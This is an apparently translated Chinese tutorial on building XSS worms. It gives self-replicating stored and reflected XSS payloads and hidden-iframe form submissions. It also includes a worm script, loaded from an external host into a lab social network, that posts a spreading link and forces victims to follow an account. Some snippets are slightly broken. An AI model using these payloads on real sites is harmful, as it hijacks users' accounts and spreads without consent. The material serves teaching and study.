XSS蠕蟲(chóng)的構(gòu)造
小編寄語(yǔ):
XSS攻擊最大的危害在于可能在一個(gè)系統(tǒng)中的用戶間互相感染,以致整個(gè)系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱(chēng)之為XSS蠕蟲(chóng)。
第一部分
XSS攻擊最大的危害在于可能在一個(gè)系統(tǒng)中的用戶間互相感染,以致整個(gè)系統(tǒng)的用戶淪陷。能夠造成這種危害的腳本我們稱(chēng)之為xss蠕蟲(chóng)。
為了更好的理解為xss蠕蟲(chóng)的工作原理,我們需要開(kāi)始一段嶄新的旅程去了解構(gòu)造自我復(fù)制的代碼所需要的技術(shù)。
出于教學(xué)目的,我們將僅僅以最簡(jiǎn)單的代碼實(shí)例做講解。 所以我們盡可能避免使用XHR等js過(guò)程。
讓我們來(lái)看看最簡(jiǎn)單的一個(gè)自我復(fù)制的反射型XSS實(shí)例。它僅僅能夠在頁(yè)面注入一個(gè)鏈接,打開(kāi)這個(gè)鏈接將在新的標(biāo)簽頁(yè)中注入同樣的xss語(yǔ)句。
- <a href target=_blank>click</a>
可以在這里(http://brutelogic.com.br/webgun/test.php?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)嘗試一下。
現(xiàn)在我們來(lái)看一個(gè)稍微復(fù)雜一些的例子。這個(gè)(http://brutelogic.com.br/tests/comments.php)頁(yè)面用于發(fā)送評(píng)論,并且存在存儲(chǔ)型xss。 如果我們?cè)谠u(píng)論中插入如下代碼:
- <form method=post onclick=elements[0].value=outerHTML;submit()>
- <input type=hidden name=comment>click me!</form>
這里注入了一個(gè)表格,使用post方法發(fā)送comment參數(shù)。每當(dāng)onclick方法被觸發(fā)時(shí),它會(huì)將表格中的第一個(gè)元素的value填充為整個(gè)form標(biāo)簽內(nèi)的html代碼(包括form標(biāo)簽本身)這樣每當(dāng)有人點(diǎn)擊click me!我們就能不斷的發(fā)送這條評(píng)論到評(píng)論頁(yè)面中,也就完成了自我復(fù)制。
對(duì)于很少有用戶交互的xss向量,我們可以使用onmouseover事件或者類(lèi)似的css trick來(lái)增加觸發(fā)蠕蟲(chóng)的可能性。
盡管上面這個(gè)例子看起來(lái)很有趣,但是實(shí)際上一般評(píng)論頁(yè)面都不會(huì)允許在評(píng)論中插入一個(gè)表格,在反射型xss中更有可能觸發(fā),但是這樣造成的危害并不大,所以為了造成實(shí)際危害,我們需要結(jié)合反射型XSS與存儲(chǔ)型XSS。
下面的一段代碼將被插入到一個(gè)反射型xss中。
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
- <input type=hidden name=comment>click me!</form>
當(dāng)click me被點(diǎn)擊時(shí),它將向comments.php post數(shù)據(jù),完成發(fā)送評(píng)論的操作。和之前的html代碼不同的是,他post的comment內(nèi)容不再是一個(gè)表格,而是一個(gè)鏈接,鏈接的內(nèi)容指向同樣的xss向量,也就是注入了蠕蟲(chóng)代碼的的存在存儲(chǔ)型xss的頁(yè)面。鏈接被點(diǎn)擊后將繼續(xù)造成蠕蟲(chóng)傳播。
為了讓攻擊進(jìn)行的更加隱蔽,我們可以不讓用戶返回至comment頁(yè)面,而是通過(guò)插入一個(gè)不可見(jiàn)的iframe,并將請(qǐng)求在這個(gè)不可見(jiàn)的iframe中打開(kāi),代碼如下:
- <iframe style=display:none name=x></iframe>
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
- target=x><input type=hidden name=comment>click me!</form>
在這里嘗試(http://brutelogic.com.br/webgun/test.php?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我們將做一個(gè)獨(dú)特的實(shí)驗(yàn),即xss在傳統(tǒng)社交網(wǎng)絡(luò)中的不同用戶間的傳播是如何進(jìn)行的。
第二部分
為了理解XSS蠕蟲(chóng)的實(shí)際應(yīng)用,我們首先介紹一下XSS蠕蟲(chóng)的傳播環(huán)境,一個(gè)簡(jiǎn)單的社交網(wǎng)絡(luò)。我們姑且叫他XSSbook,它的數(shù)據(jù)庫(kù)主要由三個(gè)表組成。
每個(gè)表的內(nèi)容
users表有該社交系統(tǒng)中的用戶信息,包括用戶id,登錄名,姓名,加密后的密碼,電子郵箱地址和簡(jiǎn)單的自我介紹。
posts表存儲(chǔ)了文章信息,包括文章id,發(fā)布者id,文章內(nèi)容與文章發(fā)布時(shí)間。
最后,follows表描述了用戶之間收聽(tīng)與被收聽(tīng)的關(guān)系,即每個(gè)收聽(tīng)的用戶的動(dòng)態(tài)都會(huì)出現(xiàn)在該用戶的timeline上。
這一系列php代碼可以完成會(huì)話控制等功能,支撐整個(gè)系統(tǒng)的運(yùn)轉(zhuǎn)。
現(xiàn)在挑戰(zhàn)在于用如何盡可能接近真實(shí)社交網(wǎng)絡(luò)的數(shù)據(jù)傳播來(lái)使用虛假數(shù)據(jù)產(chǎn)生一個(gè)數(shù)據(jù)庫(kù)。為了達(dá)到這個(gè)目的,我們會(huì)使用bash腳本來(lái)生成一系列數(shù)據(jù)以貼近大型社交網(wǎng)絡(luò)。我們也將努力的呈現(xiàn)這種呈指數(shù)級(jí)別增長(zhǎng)的XSS蠕蟲(chóng)的威力,即當(dāng)成千上萬(wàn)的用戶連接時(shí),XSS蠕蟲(chóng)的傳播將越來(lái)越快!
第三部分
我們以一個(gè)數(shù)據(jù)集合開(kāi)始產(chǎn)生一個(gè)XSSBOOK的數(shù)據(jù)庫(kù)。
和傳統(tǒng)社交網(wǎng)絡(luò)一樣,只有極少用戶能夠擁有大量的聽(tīng)眾。為了方便演示,這里我們產(chǎn)生了一百個(gè)用戶,他們都有同樣的密碼12345678。
其中,“Brute”是最后一個(gè)用戶。
XSSBOOK這個(gè)應(yīng)用看起來(lái)是這個(gè)樣子的。
首頁(yè)顯示了收聽(tīng)的用戶所發(fā)表的信息。在上面的截圖當(dāng)中,Brute收聽(tīng)了Angela并且看到Angela最近的推文。他的資料頁(yè)展示了他的聽(tīng)眾數(shù)量(目前是0)和自我介紹。Brute還沒(méi)有發(fā)表過(guò)推文所以沒(méi)有顯示。
蠕蟲(chóng)傳播的開(kāi)始,第一個(gè)受到感染的是George。他因?yàn)樵L問(wèn)了一個(gè)通過(guò)搜索功能存在的反射型xss漏洞構(gòu)造的蠕蟲(chóng)而受到感染:
http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E
引入的js的內(nèi)容為
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
fr = document.createElement('iframe');
fr.setAttribute('name', 'myFrame');
fr.setAttribute('style', 'display:none');
document.body.appendChild(fr);fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', 'follow');
fo.appendChild(i);
fo.elements[0].value='follow';document.body.appendChild(fo);
fo.submit();
解析一下這段js
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
開(kāi)頭四行是蠕蟲(chóng)的自我傳播部分,它在用戶不知情的情況下發(fā)送了一條推文,推文的內(nèi)容首先閉合了 textarea標(biāo)簽,插入了一個(gè)換行符,再插入了一個(gè)指向當(dāng)前頁(yè)面(即蠕蟲(chóng)傳播)的鏈接。
fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);
這四行我們創(chuàng)建了個(gè)看不見(jiàn)的iframe,這個(gè)iframe將會(huì)成為接下來(lái)蠕蟲(chóng)要?jiǎng)?chuàng)建的form的target(這樣做的目的見(jiàn)上文)。
fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
這四行代碼創(chuàng)建了一個(gè)form,target是之前的iframe,目標(biāo)頁(yè)面是100號(hào)用戶的個(gè)人資料,也就是brute用戶的個(gè)人資料頁(yè)面。
i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);
這里創(chuàng)建了個(gè)不可見(jiàn)的input塊,目的在于post一個(gè)follow的值。
fo.elements[0].value='follow';
而follow的值也被設(shè)定為follow。
document.body.appendChild(fo);
form被加入到頁(yè)面中
fo.submit();
form最終被提交。
如我們所見(jiàn),這段蠕蟲(chóng)代碼將會(huì)復(fù)制自身,傳播自身,并且關(guān)注用戶“Brute”
所以我們現(xiàn)在有一個(gè)100人規(guī)模的社交網(wǎng)絡(luò),連接數(shù)為463。我們現(xiàn)在要看看蠕蟲(chóng)在用戶間的傳播。為了達(dá)到這個(gè)目的我們將使用Firefox擴(kuò)展Selenium IDE。
我們使用該擴(kuò)展模擬用戶的行為,通過(guò)給定的csv表格中的帳號(hào)信息陸續(xù)登錄賬戶,點(diǎn)擊timeline上的鏈接。接下來(lái)我們就可看到該蠕蟲(chóng)的快速傳播。